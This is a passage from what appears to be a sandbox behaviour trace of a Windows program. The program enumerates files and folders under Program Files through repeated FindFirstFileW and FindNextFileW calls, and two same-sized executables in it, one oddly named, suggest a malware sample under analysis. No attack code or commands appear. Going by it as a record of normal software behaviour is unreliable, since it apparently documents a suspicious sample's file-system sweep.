hHeap=0x560000) returned 1 [0242.920] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0242.920] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0242.920] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0242.920] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0242.921] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0242.921] GetProcessHeap () returned 0x560000 [0242.921] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0242.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0242.922] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.922] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0242.922] GetProcessHeap () returned 0x560000 [0242.922] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bd9a80 [0242.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65be08 [0243.161] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.161] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0243.161] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0243.161] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0243.162] FindClose (in: hFindFile=0x65be08 | out: hFindFile=0x65be08) returned 1 [0243.162] GetProcessHeap () returned 0x560000 [0243.162] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0243.162] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0243.162] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0243.162] GetProcessHeap () returned 0x560000 [0243.162] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0243.162] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0243.162] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0243.163] GetProcessHeap () returned 0x560000 [0243.163] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0243.163] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0243.163] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0243.163] GetProcessHeap () returned 0x560000 [0243.163] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0243.171] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1ebe50, ftCreationTime.dwHighDateTime=0x1d59476, ftLastAccessTime.dwLowDateTime=0x5ecc4620, ftLastAccessTime.dwHighDateTime=0x1d5b99c, ftLastWriteTime.dwLowDateTime=0x5ecc4620, ftLastWriteTime.dwHighDateTime=0x1d5b99c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="latino powers economics.exe", cAlternateFileName="LATINO~1.EXE")) returned 1 [0243.171] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de69d90, ftCreationTime.dwHighDateTime=0x1d5965c, ftLastAccessTime.dwLowDateTime=0x50031160, ftLastAccessTime.dwHighDateTime=0x1d59376, ftLastWriteTime.dwLowDateTime=0x50031160, ftLastWriteTime.dwHighDateTime=0x1d59376, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0243.171] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de69d90, ftCreationTime.dwHighDateTime=0x1d5965c, ftLastAccessTime.dwLowDateTime=0x50031160, ftLastAccessTime.dwHighDateTime=0x1d59376, ftLastWriteTime.dwLowDateTime=0x50031160, ftLastWriteTime.dwHighDateTime=0x1d59376, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 0 [0243.171] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0243.171] GetProcessHeap () returned 0x560000 [0243.172] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0243.172] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0243.172] GetProcessHeap () returned 0x560000 [0243.172] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b748d8 [0243.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0243.174] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.174] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0243.174] GetProcessHeap () returned 0x560000 [0243.174] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0243.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0243.407] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.407] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0243.407] GetProcessHeap () returned 0x560000 [0243.407] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0243.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0244.177] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.353] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0244.353] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0244.353] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0244.353] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0244.353] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0244.354] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0244.354] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0244.354] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0244.354] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0244.355] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0244.355] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0244.355] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0244.355] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0244.355] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0244.356] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0244.356] 